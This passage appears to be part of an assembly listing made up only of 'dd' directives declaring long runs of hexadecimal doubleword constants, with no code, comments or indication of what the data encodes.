0A5DBC820h, 0EFE56FB5h dd 3E8546E7h, 0E626BB94h, 0F677D626h, 609E4111h, 63C93B19h dd 3208038Ah, 4A4D5EFEh, 0FFA42595h, 4F72B530h, 43858EB7h dd 0F0AFB9DBh, 23157593h, 2C90603Fh, 0E48C6100h, 312E9BACh dd 0D301251h, 0D8F1387Ch, 6F7C3C23h, 0DCB939ABh, 2E3BD7F6h dd 0DD62F56Bh, 65695DF5h, 19C25A19h, 1D1322Ch, 0C84B9153h dd 92CBA06Dh, 0C4CEAB0Dh, 0B8ED6BB7h, 0EDCDDCBh, 3AC0475h dd 380A3908h, 6D2A6185h, 481D2124h, 0AEF2C531h, 0B547D2B1h dd 0F4EA336Ah, 5BE46123h, 0C9714D2Dh, 7D1B5800h, 0A8330FF9h dd 0EDD77CDDh, 3B1E685h, 0B57AC3B9h, 88D39D27h, 1C2A26CCh dd 0DA4EDAA6h, 854BBAC7h, 3B44E8D1h, 0DCDF0A72h, 95E3C686h dd 5405BD25h, 219A56E5h, 24B97B7Eh, 3A5810C0h, 0DF64AEFBh dd 0AE38B0Fh, 7370C24Eh, 9F69BF15h, 52D7CCB2h, 0F81C049Ah dd 0F12D5A81h, 94B2B933h, 673FA556h, 17370616h, 25A411h dd 0DECFEBh, 14DFCC86h, 604977F1h, 5AEFFD7Bh, 0EF10448Ch dd 5D4F120Eh, 0A973C6B7h, 0CAF9D52Fh, 0D79540E0h, 7EDEAE0Eh dd 63225CB4h, 9574AF9Ah, 8B129025h, 35672BB7h, 6D32C49Eh dd 0B31D90D0h, 0BED7AE17h, 6BFA1FC8h, 0DCBFD144h, 7AD3E5B7h dd 23003F15h, 0A71E7537h, 1D0D6EB1h, 0B5A2D5DFh, 94C08ECEh dd 4CF4307Dh, 5A5B6D31h, 14014EAAh, 0E5A75418h, 3C62DE6Ch dd 7C9AB446h, 0D88AF2E7h, 2F4F604Bh, 556F39C3h, 626E93C5h dd 5AE2B7FCh, 2951860Ah, 0C4F29FE6h, 0E932726Ch, 4FE8A0E0h dd 0DB2B90EAh, 0A06A6B44h, 75F44347h, 8CD35A7Ch, 0F32E2210h dd 79620635h, 28A9A7AFh, 61EDB05Fh, 5F6A6E14h, 0A9E5AB3Ah dd 0B5A2DDBDh, 0A9FA81BDh, 4A40943Ch, 0FF72B9A6h, 82B0FC8Dh dd 0DA3E580Eh, 0ECE2CC76h, 3314847Ch, 0A361E5F3h, 95925F13h dd 234042Ch, 7BFA612Dh, 9BAA9E04h, 0E4FCD9C9h, 96A78503h dd 0F5493027h, 738A4623h, 0A0B82A5Dh, 34C57E9Bh, 27E722C6h dd 8BBE21E3h, 0B7D8F6CDh, 61D3F093h, 8B5831F5h, 79FC5560h dd 0E1BBD121h, 28310D41h, 6E789D3Dh, 0DFB65FD8h, 0CC329C80h dd 0E03B10E1h, 6D5010DDh, 72B4BB12h, 95D5E30Dh, 7AC5045Ah dd 0E6DEC747h, 95736468h, 67A73B58h, 75881E79h, 8024356Eh dd 0AE7FAF7Dh, 6A14542Bh, 9DBAFB15h, 3CE6478Ah, 0F8B5CFC5h dd 0F3B5F4h, 0E85B211Eh dd 0FAB46312h, 0DB9BBDF0h, 2E684404h, 1CDF0D0Fh, 6A7DED92h dd 9860082Bh, 9B511E91h, 90ED3CCFh, 17C0D334h, 88268DDFh dd 0EB7A9795h, 706491A6h, 0E9F0F722h, 3C5C4F3Eh, 42C9CD33h dd 0FD62090Dh, 0DF42831Ah, 36BD222h, 0A25D0BEh, 0FD693BCEh dd 0A7807791h, 0DBFE91ACh, 78EF6244h, 31320DF8h, 0EA23B8E8h dd 6EAF5E18h, 1688E5B3h, 178D2E37h, 0EABD3402h, 0BA7C4B91h dd 92FA5B4h, 14C8C283h, 31B7632Ch, 0E5426257h, 974AC0FEh dd 0B288C8B0h, 0BE192F80h, 7DA557E4h, 83F78AFFh, 72160228h dd 59E44FA1h, 7C751CC2h, 5598764Eh, 0BE39EEBEh, 0E6C16BA5h dd 91FF9C39h, 0BE8E856h, 2867F2E0h, 0C0549813h, 5D2CE0F3h dd 0C2CA50A7h, 0B6710EC0h, 0D23B6DC6h, 0B31CC83Dh, 0DE2D6023h dd 297E7B0Ah, 13E05B21h, 3454B37Fh, 39A33CCFh, 113D6654h dd 32BB885Fh, 23C7ED62h, 8DB8963Ah, 32FA236Bh, 41D0A5B6h dd 8C695F72h, 0AE72670Ah, 0A4E3D85Fh, 4808F081h, 1FAED7AEh dd 0A673843Bh, 0F6BC3FDEh, 0A1CF09A8h, 511CF9DAh, 0D0E64F51h dd 75DF91F3h, 0FEC27233h, 69AB2B9Ch, 0AEB61ED5h, 7DB49E65h dd 9BEE0A8Bh, 29AC3969h, 258D16C1h, 289EF445h, 15C54C05h dd 0E4B96161h, 0A9F4DBAAh, 0E2371EC1h, 4DE06B9Eh, 8E6E8677h dd 0F3518B3Eh, 55A24806h, 4F99FF4Fh, 1B075CC0h, 3DB021F6h dd 30C4C4E1h, 0DE43F7EBh, 83CC354h, 40FC3F47h, 0DBFFE8A5h dd 2F3C84EEh, 0DF1C3875h, 0CEA1A27Eh, 0BA72524Bh, 9859C29Ch dd 90E35075h, 4604B6ADh, 49BA4230h, 0DEEE9E39h, 0BB7FA325h dd 0DB397D2Ch, 74172BCAh, 7C7FDC95h, 8A60F528h, 8F555467h dd 49AF0554h, 34AD6F9Dh, 680F6E30h, 0E09266Ch, 76D35691h dd 7BF0E6D2h, 996910F1h, 483B100Ch, 3481430h, 58B57806h dd 5090A9Bh, 0C0A5AD98h, 0BB98BC7Ah, 0A396DC28h, 0ADB0A146h dd 0A28C957Dh, 2E43F2BBh, 3F0C5069h, 85D73F0Ch, 0C826EE24h dd 77E39BAh, 5270805Dh, 0DC1E956Dh, 0BFE6D4D4h, 69E68E03h dd 0ED8BC09Dh, 3E127590h, 0CCDE57DCh, 0BEB8400Eh, 2CB0AD9h dd 29863449h, 249C1A8Ch, 598D0874h, 806169A6h, 0A7BFE8A0h dd 0EA4049EAh, 0B69DDCEh, 7D697A42h, 4323DA88h, 1F6771AEh dd 0C076A9E7h, 35768F51h, 324F86C1h, 0D1D7AB34h, 17037213h dd 4D381B0Ah, 0A69B2777h, 64A92A0Ah, 0CCE2EF52h, 166098ADh dd 0A957F2BCh, 43CF2828h, 33829853h, 0D35F7072h, 0AEDC028Fh dd 4B45B0FFh, 53F8F690h, 194A5B68h, 0CF6C732Fh, 668B425Bh dd 7707AC97h, 5F06692h, 0F7647F2Fh, 7DAB70Ah, 458C391Ah dd 8C5E4F88h, 75ACF4E7h, 0B9FE6D22h, 0B4C52B82h, 0CD35BC85h dd 1CFAB227h, 93B41F34h, 39E19A9Fh, 0D62EDE68h, 0C5CCFA7Fh dd 0B662F2DCh, 0C1C994CFh, 0FF1E46D3h, 8814B46Ch, 96739ABCh dd 40F1FB9h, 688FFB18h, 79F23FA5h, 0DCCCD035h, 11D70C4Bh dd 47ADB956h, 8B612EBDh, 61BFB0A6h, 0ED0724A3h, 1CAEB040h dd 6D024EEh, 80637F00h, 0B148AA46h, 0DA3EAFE3h, 10989A1h dd 7111D840h, 460B3F9Dh, 0AE2D9249h, 79C2BB68h, 6ABE29CFh dd 0F16AF719h, 9E54DA64h, 5EABAA6Eh, 0E817A846h, 2A9E1A0Ch dd 0A0C85427h, 6D140CF7h, 0B9CC0F9Eh, 0EF6ACED4h, 2BDAC7B7h dd 68A75C65h, 983CFF01h, 0D3ED308Fh, 0A4077808h, 13CCA229h dd 47E12378h, 58C352AFh, 0F1E613A9h, 25238610h, 0FF3B0A96h dd 7FF844ECh, 500A0EACh, 5B0B418Bh, 6BD22C33h, 55C16379h dd 0F8C6987Ch, 0C96499CBh, 0B8143881h, 0A7344C63h, 0EB3AC5C8h dd 0E9EDE1B3h, 0A7F66579h, 0F59E65EDh, 1372A00Dh, 15930AF1h dd 8B976DB1h, 0CFF5D62Eh, 0C27A1C9Eh, 0ED22CDEFh, 545F1FB1h dd 0CC80D15Eh, 5E3CED88h, 0B0C7686Ah, 52298895h, 6B40D375h dd 0B62A3B88h, 0F47DF530h, 0F24C9077h, 0FB506706h, 2BBBCF2Dh dd 9E2993Ah, 0D1737B19h, 715F6DB5h, 9D38F725h, 99ADC04Ch dd 0A9662470h, 548D8B75h, 4D790B1h, 0FFF2B973h, 21B5FFEAh dd 70EE7554h, 935756D8h, 184AC542h, 37DE1C65h, 1DD107BEh dd 180190A2h, 75732F0Bh, 6A8209B2h, 0E807F9A8h, 2F8D9478h dd 0AEE8F3EDh, 815406E6h, 4E1929EAh, 890DED49h, 0A1B104Fh dd 5F97A56h, 0C2F25BEDh, 0E4CD4CD2h, 0CA6ED661h, 2ECA5942h dd 0A1F1AA5Fh, 1E1A934Ah, 3D941A7Eh, 0AC2B1AD8h, 2CC5158Dh dd 3578A105h, 0B571CE05h, 0C78A1343h, 0FDD27A9Eh, 0C88650E8h dd 8466421h, 2F9C0F95h, 5DA3818Dh, 0F9310015h, 0D5E47A7Dh dd 3E3F946Bh, 89E8BE77h, 39E285FDh, 7ED9A434h, 0F446075Fh dd 9D54A61Bh, 6EA52BE4h, 45B9A339h, 399DA34Ah, 66EFEB53h dd 11B8A418h, 1EE91FC2h, 891DA40Eh, 7ADA2D3Ch, 0CDD77862h dd 52F6B608h, 506B0830h, 6828E6A4h, 0B06E7DD9h, 0A9E1481Bh dd 52CA5D14h, 0BBA36141h, 6A36675Ch, 4B5BBDAEh, 0BC988B68h dd 91887D26h, 0AC3CD84Ch, 0FBD4100Ah, 9B2CFBC2h, 0F6C94BF2h dd 0FAA17672h, 4C982384h, 0E0D16EAh, 91E075CAh, 3581614Fh dd 0FD6DC2ACh, 32E54013h, 9B12AB5Fh, 40C8E8C6h, 0FE5146E1h dd 0D0689C02h, 0C8FA6227h, 7E91567Bh, 0E3C53891h, 6B97B454h dd 75F7C7DFh, 213A3B49h, 2CD1242h, 0F2CFAB40h, 26A42B99h dd 49115F68h, 2D3B3799h, 8E223C40h, 70D6F007h, 8EBED535h dd 9367BF80h, 0DEA32F17h, 3F2F7736h, 913CBF6Ch, 2061D504h dd 88FA9DDAh, 1E8EA539h, 161EC9F9h, 83A8345Dh, 6C65D89Ah dd 0EE7E2840h, 0C0ABB964h, 56D6026Ch, 5BFCC984h, 9F27B77Ch dd 8405CDC1h, 0DC40D40Ah, 6443F3Fh, 31384909h, 0EAB7FAE4h dd 246E115Eh, 0F9018F3h, 42870811h, 0FA9F2107h, 0C4CAAE2Dh dd 393ABE78h, 150FAFBh, 0CEFA0A85h, 9E8FA83Ah, 2607934Ch dd 1C0925Ah, 2F15BBFFh, 0E4F3D270h, 61BACEC4h, 968992BEh dd 0CDC764A4h, 0ED71DA68h, 6D2776CAh, 8F7172B0h, 8B50CBF0h dd 2778E64Eh, 8ACEC62Ah, 1F1AE1D8h, 70664F51h, 0BCAE7B83h dd 6961DFA3h, 2B8DA9B2h, 3BEF2237h, 0F3B52C95h, 3357D811h dd 1E7E4302h, 969BA398h, 9C581A4Dh, 6A68D268h, 0E401F2E0h dd 1AF8ACBEh, 1DCF7AF5h, 5E9E7D78h, 0A23AD55Ah, 0FDD09808h dd 1E62656Ch, 0DB2C2A08h, 5D1C8E72h, 0B8EF03AEh, 0F7C17B01h dd 53C928F9h, 3DD8CAB5h, 508C0371h, 4FAEAD85h, 1988C1E0h dd 386B7F7Ch, 0EB5641ACh, 8BB5BB5Ah, 0CA2D9795h, 0B2FDA380h dd 87B7F2F2h, 471FDCC9h, 12BE5F9Bh, 0EC740ACCh, 817F1144h dd 853967DEh, 0CF61CC99h, 86749F09h, 66ACC5F4h, 0AC506CF0h dd 9D0DED70h, 2C77A180h, 756654DAh, 68828081h, 68CAAAFh dd 0A603EFFAh, 8AAD7FCEh, 5D7C8EEFh, 31A4B8C4h, 13A3362Ah dd 1D40AA57h, 0F6EF1573h, 3BBB9ADAh, 0FE671BC6h, 0AC10A7A0h dd 7A292A71h, 0E739A72Fh, 0D3B5B38Ch, 0E2EF0894h, 67BE5FACh dd 1FDB6563h, 7FFFD711h, 5CD6CEDAh, 0A5216C72h, 82E7F974h dd 0FAB9F66Dh, 0EAC796CAh, 173980E4h, 0C8540E42h, 0B6BEB61Dh dd 3AAC14F8h, 0A8268998h, 83D3CCDCh, 4161EC31h, 0B9B5AAB1h dd 6A5AD8D0h, 73DEFE38h, 0BCCBFE1h, 0E3C9702Dh, 55DFBC05h dd 185A087Ah, 0DF1DD86Dh, 29988308h, 4B1AA5E6h, 0CB724CFBh dd 0C9AB8960h, 0A8586F1Bh, 6EDC3AFEh, 0CC359D8Bh, 0F616F24Dh dd 0E10A5377h, 0D6468581h, 293AE27Fh, 6A311FA5h, 40AA0556h dd 0AD2BA417h, 1DE7AF1h, 474B2F1Dh, 1C915B27h, 27E3FEAAh dd 2CD3E610h, 906607C0h dd 3BB32A62h, 0AB4F3A09h, 0A36953DAh, 64034979h, 5670A21Dh dd 945CBF01h, 0FC6A4883h, 0F2D958D1h, 0B97924C3h, 0C9446CCDh dd 39C0BE52h, 5EF495E5h, 0BA0F71F6h, 643008B9h, 0AEF7026Fh dd 9CF38DB0h, 555B34ACh, 82869396h, 5BA70E44h, 0F7B0E024h dd 79A25CDEh, 0AF2BB986h, 1B7D28D6h, 6B86BFD7h, 0A46D5A73h dd 0F7BCA000h, 4339A5CCh, 0C0651AF1h, 0BF5BCAC4h, 0B789C8E4h dd 38EF68h, 8DD734D8h, 65DE832Fh, 39797DFEh, 0DB2C774Bh dd 5713EAEAh, 5DEB2E0Dh, 0A4CF60EEh, 0ABC50470h, 0E2E2AD23h dd 2BEDFA55h, 1428A0AEh, 6EC6A8F7h, 0B506C91Fh, 9C8768FBh dd 0B4E58E87h, 58F53A5Fh, 41DC6F5Dh, 3F1CA481h, 250D13D6h dd 15B96B38h, 865A3E4Eh, 0CD96644Fh, 1E7BABBh, 6C7CDF37h dd 4216F78Ah, 0FA6D23ECh, 742CD616h, 62918C2Bh, 3C1F0A89h dd 49D770CBh, 0FA6AB610h, 9F7D3623h, 0EDD2F11Ch, 9838DDBDh dd 7389C5D6h, 4CBB1078h, 0C0D62377h, 3B401CB0h, 31DE06Dh dd 0D79DA959h, 4CAE4A13h, 0DE9C0F62h, 861152F6h, 12925707h dd 1AB96A7Ah, 0D9D98426h, 0AAC9E3Ch, 50EA18C2h, 1C0CAC93h dd 0AE353599h, 98C5A87Bh, 0B5866CF2h, 478FD42Bh, 24DBF628h dd 0D805A021h, 363A7544h, 0C3243E79h, 313E0883h, 0E1C5E3BBh dd 22170A55h, 3898C55Ah, 67C78FB8h, 0A824524Dh, 4D713165h dd 3236DD20h, 0F2C22320h, 0E5FC95A7h, 740D0708h, 700080DAh dd 0B25A12FDh, 0C3A8C6CAh, 96D8E48Ah, 58323E24h, 95376258h dd 1B096D54h, 9068C814h, 0AC97CB79h, 0A6EE94Eh, 0C8EBB5F6h dd 0EC316828h, 7176FC2Fh, 0EC540211h, 2B416F9Dh, 0F432232Dh dd 38C6CA37h, 95E20F2Dh, 0B931E028h, 119D29D4h, 0F54C9C73h dd 230AB331h, 0AA3A33C5h, 0BF1B5E0h, 0ABC40DE1h, 7AF17E02h dd 9E1F24BBh, 5CDC55Dh, 68921611h, 0DD69401Ch, 23347B2Ch dd 952DD23Ah, 0C3633B04h, 0FB372CEh, 25436596h, 95D0BA3Ah dd 0CFDE55A6h, 0B3442CA4h, 88037FA8h, 0D1A891E5h, 897289A6h dd 0B09814E9h, 9FCBD2BAh, 4E94B298h, 3055E998h, 35CA026Bh dd 0DACD768Dh, 7A366EB5h, 3684E10Ch, 0FE3A6ABBh, 0EA7AC184h dd 49ABEE28h, 15A71EB3h, 8D8FC177h, 9A8E73FCh, 0B0CC6251h dd 0EE294B10h, 0D0FD55BFh, 66064120h, 687A366Dh, 0B6E9F47Dh dd 90C3C6E2h, 0D2CD9C62h, 0B18EEB06h, 43588A1h, 0D75018A5h dd 9C46C72Ah, 0ABCB7AF6h, 0DF595DB9h, 81E8FA1Bh, 99BAF0C7h dd 37CC6CDDh, 80554430h, 0A20664DCh, 3BB03522h, 8C6B842Dh dd 8E48A5A0h, 9634B54Bh, 83700BCAh, 5A149787h, 2862AB8Eh dd 0EBA1FD93h, 9ADEC05Dh, 6D3B7A6Ch, 6C704B33h, 21B42B39h dd 0F97761DAh, 7587BAD7h, 4AF8B7C0h, 0E24D6918h, 4D754D73h dd 0A262D15Dh, 0B29A879Fh, 161BF9D8h, 0B2B984C4h, 5B96D1E3h dd 6B38181Bh, 46037133h, 185875F1h, 0AD4B6ED4h, 2A9062DDh dd 0BBEA1348h, 9E409B06h, 0D0CE9699h, 0BA0D5E9Bh, 0A0D1D4F9h dd 0A270E59Ch, 69FDDE71h, 414D056Eh, 0BB826A04h, 931030C9h dd 9D3A21Ah, 9CC1A04Eh, 458AD947h, 0BEB8120Fh, 813947E3h dd 39786A90h, 7459BAD9h, 0D569AFE1h, 0C5FED50Fh, 9A1B905h dd 0F9F7A441h, 0EF7ADD25h, 470AEBA8h, 0AB65ED34h, 0C4430DAFh dd 1D494F2Dh, 0A9673CCFh, 0DEF2C119h, 0C88FF0C9h, 0E2BFCE8Eh dd 682688A0h, 0BF09313Bh, 9FE7CC4Dh, 815549D2h, 0F48ACD6Eh dd 5CCAD156h, 8FB6A36Fh, 0FC09971Ch, 0F6038F2Dh, 8A135306h dd 9DDD109Eh, 6847249Ah, 0E47F6432h, 8097E2D8h, 33EC1DD5h dd 7114E131h, 6B157D4Bh, 4978B0E7h, 59171ED8h, 0FC44F518h dd 4F168829h, 85F282A6h, 84744F1Ah, 27FA376Ah, 382AC6D8h dd 0D3F4FF88h, 3BE62433h, 84BCCB8Ch, 96274C86h, 400C7D40h dd 0C67B66FAh, 0EB9C0E94h, 7C694D99h, 85BD1A4Dh, 414A5B62h dd 2E5346BCh, 34104BFEh, 0EBA3576Ah, 20D3CE6Ah, 4FC5D011h dd 0F2F9EC12h, 0C35D3CB8h, 0B61DD2BDh, 7159A62Eh, 5C866F3Fh dd 0EA8CE565h, 0AA47E5ABh, 6109B619h, 0B1D3F5DDh, 2F3DD50h dd 0BA130CADh, 40034ECAh, 4C1B0BC6h, 7A0E3C4Eh, 0D245C1DFh dd 1EED352Fh, 4E3DD3A0h, 1E36E692h, 7D234670h, 2E60EBE5h dd 0B7EF2D2Ch, 79CE4FF2h, 0F10337CAh, 0C737706Bh, 5DAE52FAh dd 0F9F68052h, 75BECC6Bh, 0B35AB370h, 34154D7Eh, 0B70948FAh dd 0CF8EB890h, 26C69870h, 4D3A9014h, 85E3F574h, 0BC8FE371h dd 0C066CBA2h, 0DC04AC9Ch, 37CCC07Ch, 8D9465ABh, 98008C93h dd 0C7CDFE2Fh, 4F043A0Ch, 0D99A2D77h, 6AAAA1FAh, 35B8692Ah dd 577BA89Eh, 2978C7A6h, 0A54623CAh, 0DE0925B1h, 0B05240B7h dd 0B172C160h, 2B224B96h, 2DF0E8FBh, 0E1CAA84Dh, 0BD305950h dd 2286C07Eh, 424D12F9h, 0F0BB6A8Ch, 68D38EF7h, 806DD84Eh dd 0D326FF56h, 0B60CBE2Fh, 6409E164h, 0A8216FC4h, 2135FD59h dd 0EC766FDEh, 48DC6C4Eh, 0AEBA6A08h, 0FC891E3Ch, 0D977C240h dd 0A9720653h, 8331FCFCh, 0A26292A9h, 86E89CEDh, 0E64A1643h dd 70DD835h, 7DB50A9Bh, 0DA957A6Ch, 6B6F949h, 5FF1EC1h dd 0CB59EBFBh, 3C77BD30h, 0AA7EA8C0h, 706BA4EEh, 7EE063FDh dd 88C203CCh, 0A1AF1782h, 90085695h, 0DB25896Eh, 0B61959C0h dd 98462723h, 29EF2F12h, 372E720Dh, 861E0378h, 0DA9BB519h dd 0EA8E2270h, 0D6FFCDC7h, 22E13829h, 8634F04Eh, 0A647DCA9h dd 0CF1F4B36h, 853B174Bh, 9E00A68Bh, 0C01E0F61h, 2F2F9B15h dd 0C524732Ah, 0CEE99D1Ah, 7AC75F02h, 0C287CF29h, 0ECF77F5h dd 0F7A2DDFh, 0BC42FA1Ah, 5D52CDD3h, 9C31CE02h, 99583DC4h dd 0A7116666h, 8CE406B6h, 0D3AAD407h, 3FA53C8Dh, 0FFE41D22h dd 2B154A03h, 292A8470h, 62F70BC8h, 92274642h, 88D42632h dd 6736426Eh, 8905E236h, 6E0BD7EBh, 0F8690A4Ch, 0FCBCEA9Ch dd 0FBC6B299h, 97FBF1Fh, 0C738DD2Eh, 0CA506495h, 73CD298Eh dd 72B85A49h, 0A87B4A7Fh, 314ED5F6h, 0EC8F0D68h, 6CF43CB0h dd 1D80EB4Dh, 6EC865A4h, 9EABFE96h, 594A770Ch, 48DE33AAh dd 9F5F8726h, 405E2310h, 833702E5h, 146BE850h, 0D63382C0h dd 13C333BEh, 0A629E934h, 0A8C1D41Eh, 747C7F35h, 0F5F56DCFh dd 0E40DC6F3h, 0E0E94FD7h, 5B061C9Ah, 730B4072h, 0E5DE2E7h dd 0B002D9ACh, 3D3B5FC0h, 0F9210C8h, 0D138E81Dh, 9AA4F986h dd 8BF85ECCh, 45E3A2FBh, 0E59C1600h, 1CCEC9C8h, 0C00D6797h dd 51489046h, 0BA265631h, 0DA0E5C69h, 0BC141D38h, 63B72CFFh dd 3654D796h, 0A26A648Ah, 63DE9A37h, 7762617h, 0BD3861EDh dd 3C11D2F4h, 0CA1838Ch, 0E8D0DC4Eh, 0C223ADA1h, 596F06A9h dd 0B4645509h, 15E4DAE8h, 3BAA4A49h, 896D5275h, 0DB431B73h dd 0F6601E4Ah, 6C0D6B94h, 7601D1EAh, 1DF4B3ECh, 9C040439h dd 0D3142269h, 0EDBC19C7h, 0D6A30B9h, 2B9161C0h, 45CB9B2Fh dd 34ED145Bh, 20651853h, 0C42737DFh, 0E5466CAAh, 141742CCh dd 3C11697Bh, 15478116h, 0EDCAA991h, 4A098A10h, 0B5FB1FD7h dd 0B6D79AF2h, 9392767Dh, 9319F59h, 0EFCCC1A9h, 622D925Ah dd 0DD02DB7Dh, 7E6AC414h, 5F1C1238h, 0B287BA35h, 9E308F8Bh dd 96EAC8C9h, 0EAC0BABh, 29EF8216h, 5A22FBD2h, 0D4260B40h dd 68B67077h, 5F2D0283h, 3F263B03h, 868AF41Ch, 0C79E67DCh dd 1982EDCh, 3E84DDEDh, 64A9CD5Fh, 0F6AC3B92h, 0AA1C8004h dd 7B32CF9Eh, 92DEDC5Bh, 99770DE4h, 9789A36Fh, 7E2ED3FFh dd 23C88C12h, 0EB1C0BB4h dd 8705AE40h, 9577DFD3h, 5F611D83h, 2F87FD7Ah, 580E9E52h dd 783D0C7Fh, 401545CFh, 3CB57A4Ch, 0F392252Dh, 72B62B2Dh dd 2B2363CFh, 643B4B17h, 62AE8DD9h, 7DD9A810h, 0E801CE8Ah dd 6F3A697Bh, 2C044B20h, 2C6CA74Dh, 39D375E2h, 0E989FF64h dd 0FB0522Fh, 0E6155323h, 152A0019h, 3D2B32AEh, 87E085Ah dd 0AD18BABEh, 28E70DAFh, 0C9BAD177h, 54239552h, 62A7CE77h dd 0E60519C2h, 0E77F248Ah, 0FCB710D2h, 0C8C1728Ch, 306443A4h dd 5EC894BCh, 83BCB880h, 90489E3Ah, 68F6F243h, 7533FB0Eh dd 1E51844Dh, 0C4200343h, 0F6A77FE2h, 400FE952h, 4B0BFC49h dd 0CEAF7C91h, 1295C070h, 2134A42Dh, 957D3965h, 81343AD6h dd 0CC495330h, 0B319BFF5h, 5CB31FABh, 49388E9Dh, 0EB61BEFAh dd 17FCA781h, 29472DFAh, 44228EBCh, 5ECB3BF4h, 0DC4DACC8h dd 0E2646FDAh, 0FBD357Eh, 610F7BA1h, 597760CBh, 37700D6h dd 5FB6057Ch, 0B6985619h, 85BE04B4h, 5E49C3B2h, 0D979481h dd 0F6E0A9DAh, 75DF668Dh, 0E0776A3Ah, 6E168E28h, 0F38BAFA2h dd 6BA75E34h, 84631FBh, 0CDB3CE7Bh, 7CD37ACFh, 7F56AF93h dd 863438E9h, 474A554Ch, 802A092Dh, 3B45462Ch, 3891949Fh dd 965FA27Fh, 0A54B5399h, 1DC6942Eh, 0EF100B76h, 0A4828FAAh dd 0EBFCAA94h, 201FAB23h, 38D2004Eh, 0B8722E08h, 0A5A5FC4Ch dd 0CDB5C65Fh, 426BCC6Ch, 7A0E74F4h, 38391ED4h, 3715031Dh dd 0C99EE2D5h, 9C7B75ABh, 0FCD6B17Dh, 22EE479Eh, 968CB90Fh dd 5FB06AA7h, 83F52738h, 0DA4908D0h, 98576D44h, 7E7D22F0h dd 0AC82BA9Fh, 261428C1h, 0C4BFC50Ch, 3D983723h, 3853AFC6h dd 3902FB9Bh, 0BB7AB17Ch, 46CFFE0Ch, 8D93DA59h, 81113C98h dd 0DDD2EE7Ah, 0AD3DBF65h, 7B52B6B0h, 3A4FAE91h, 8579C463h dd 20C76885h, 20153E7Bh, 0D0139D79h, 7A27A5D9h, 157A750Ch dd 0E958E426h, 0DA9E5BD0h, 9885649Ch, 0C324347h, 4F06A6A4h dd 7B97AFB7h, 0C28335C5h, 25E1C372h, 96FCBD84h, 36240DBh dd 2AC16A2Fh, 708017A3h, 293C6761h, 8D4DD6FAh, 0A4C24685h dd 6D50911Ch, 52F0ED0Ah, 27C89BEDh, 0B98232Ch, 77202A26h dd 45B0071Bh, 61F32F20h, 0F642C143h, 248A514Ah, 1757FBBEh dd 821A46E3h, 0D8CEEA8Ah, 0FD2B068Bh, 4C8BC94Eh, 0E4BDAC95h dd 0B846A1A5h, 0D6AB33EEh, 0B637D1D6h, 63C5C4F5h, 94FD5E61h dd 17480498h, 71D5A7Bh, 0A726EB4Bh, 49AC8FBAh, 6010F3A1h dd 0A6206C80h, 0B6A06F8Bh, 64CC5B7Ah, 57298C13h, 5FE0AD6h dd 42A3871Bh, 435617A8h, 5C6AD8CAh, 49B1A71Dh, 21B0327Ah dd 88A9FF23h, 0BC32103h, 1DEDAAF4h, 4F448318h, 0DC56FB86h dd 0A425A6B2h, 1DC4E597h, 0F37EB61h, 2D2A0D9h, 793D5F0h dd 0A73964D6h, 0FA2EC0D3h, 0A59E918Ah, 0ED0B44A7h, 1289CC53h dd 8B88D981h, 1DE69B77h, 0D9ECD1ABh, 0DD658751h, 6024A18h dd 5963DA55h, 1523E67Bh, 0A389BB84h, 30DB453Ch, 1970109Bh dd 1EBDA3A0h, 0D453581Eh, 55FD7C33h, 5361CF24h, 727603A9h dd 126F8FF2h, 3E814884h, 0A24D42B3h, 65D08BC3h, 9FC3FFE2h dd 371B6ADDh, 3E18ECFCh, 550150E0h, 67E9EEF6h, 0D94FB59Fh dd 5D57DC03h, 911565B6h, 7019FA79h, 1377E9B5h, 0ED0A507Eh dd 3E72AF08h, 0CA06493Ch, 198F871Bh, 0B56FAB32h, 81F720B6h dd 0C8927381h, 3B32758Ah, 57558508h, 94BA10C8h, 7CC851D2h dd 0EACD7D8Dh, 15AE6C4Dh, 0CD1F9D5h, 4A348DB9h, 0D8C7A818h dd 0AEB36654h, 0B4488833h, 0FA6E36A9h, 47106A58h, 0E5C9949Ah dd 4047E878h, 445E9387h, 76919A80h, 39466990h, 0A8B54C31h dd 0F09543ECh, 95460219h, 0E6BFFD6Bh, 0EABCE2F2h, 70A5EDA0h dd 0E94EFE45h, 804450C9h, 282F6A9Bh, 8E71A573h, 356BAAA4h dd 0F69F4608h, 75B101A0h, 79DEA84Eh, 748C9113h, 0F54F19B7h dd 4573318Ch, 462949B4h, 61E55223h, 0E341E83Ch, 0D4FC465h dd 0F5A41613h, 0BCA9E432h, 0F23DA321h, 9FB852BEh, 69E8EA76h dd 0DBD59A6Fh, 5D62618Ah, 58C0104Fh, 9C9F10B5h, 1642349Dh dd 57D359BCh, 82468183h, 0ACB3477h, 1E6D119Bh, 3161B992h dd 0ACE461Dh, 6C4C363Ah, 0B2655747h, 0E0D71C23h, 969FE8D4h dd 37811FD8h, 51FA98ABh, 0C469FA2Ah, 0E2BF63E2h, 0E1D07507h dd 0E0B9AA64h, 0DEDA7A88h, 3AB5061Ch, 3EB47C10h, 0CDDD7A8Ah dd 82C9AEE5h, 60B8538h, 75A5E23h, 6CAEC7A9h, 38DACFE6h dd 15892836h, 3EBE5535h, 3E2B421h, 9A0F9706h, 42A50D39h dd 54A9F7B3h, 0ECFC729Fh, 8F143F32h, 93966C71h, 8E2825F6h dd 0E84C8457h, 7E55E4EDh, 0C14DAEA7h, 8478D4Ah, 6E405E8Dh dd 368D8756h, 69DA74Eh, 19789732h, 70632BD5h, 0F9B8286h dd 2C812596h, 0D78B8A9Ah, 8E9EFD3Fh, 17815963h, 2DC87CBAh dd 0E1BCFB9Fh, 0C8776F2Bh, 1C07429Ah, 690BF02Ah, 1C5D85CEh dd 1D288603h, 86F8F97Dh, 2D524C69h, 6DF07EC6h, 9C5D1747h dd 46A4D42Eh, 1A22B7A8h, 0BA700381h, 0E8D63D7h, 0E4EFA79Dh dd 53F106DFh, 0E339798Eh, 3B760FACh, 4C6E5F05h, 67782B36h dd 9B6FD1A4h, 0C8943B4Ch, 5E9C9B78h, 98E14F2h, 0BDE93ECDh dd 0D1420AE3h, 6A163774h, 0E12995B7h, 1457BD5Eh, 0DBFA3E1Fh dd 287523D1h, 0FD1C7AE4h, 0DDB3A15Dh, 1D5ABFAFh, 0B28419h dd 19E5694Fh, 18540D4Ah, 7A4FE430h, 7CEBA43Ah, 5C3F1927h dd 0E1AD8F9Ch, 5105FCDCh, 19A4F68Bh, 0A07DFC23h, 26A937A2h dd 918C15A4h, 594A3CA1h, 8D139C58h, 0CB041A81h, 0F378BECBh dd 623D8286h, 0A686F765h, 5A773F4Bh, 4350843h, 0AAA81B9Dh dd 3ED639DCh, 94393861h, 